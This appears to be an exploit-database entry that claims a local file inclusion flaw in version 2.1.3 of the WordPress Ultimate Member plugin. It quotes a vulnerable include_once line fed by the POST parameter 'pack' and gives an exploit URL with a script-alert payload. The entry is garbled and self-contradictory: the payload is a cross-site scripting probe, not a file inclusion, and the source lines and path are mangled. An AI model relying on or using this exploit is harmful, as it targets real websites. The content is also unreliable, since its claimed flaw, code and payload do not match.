WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion

Author: Mehran Feizi
type: webapps
platform: php
port: 
date_added: 2020-02-13 
date_updated: 2020-06-18 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Title  : WordPress Plugin ultimate-member 2.1.3 - Local File Inclusion
# Author : mehran feizi
# Vendor : https://wordpress.org/plugins/ultimate-member/
# Category : Webapps
# Date : 2020-02-11
# Vendor home page: https://wordpress.org/plugins/ultimate-member/

Vulnerable Page:
/class-admin-upgrade.php


Vulnerable Source:
354: if(empty($_POST['pack'])) else
356: include_once include_once $this->packages_dir . DIRECTORY_SEPARATOR . $_POST['pack'] . DIRECTORY_SEPARATOR . 'init.php';


Exploit:
localhost/wp-content/plugins/worprees plugin bug dar/ultimate-member/includes/admin/core/class-admin-upgrade.php
$_POST('pack')=<script>alert('xss')</script>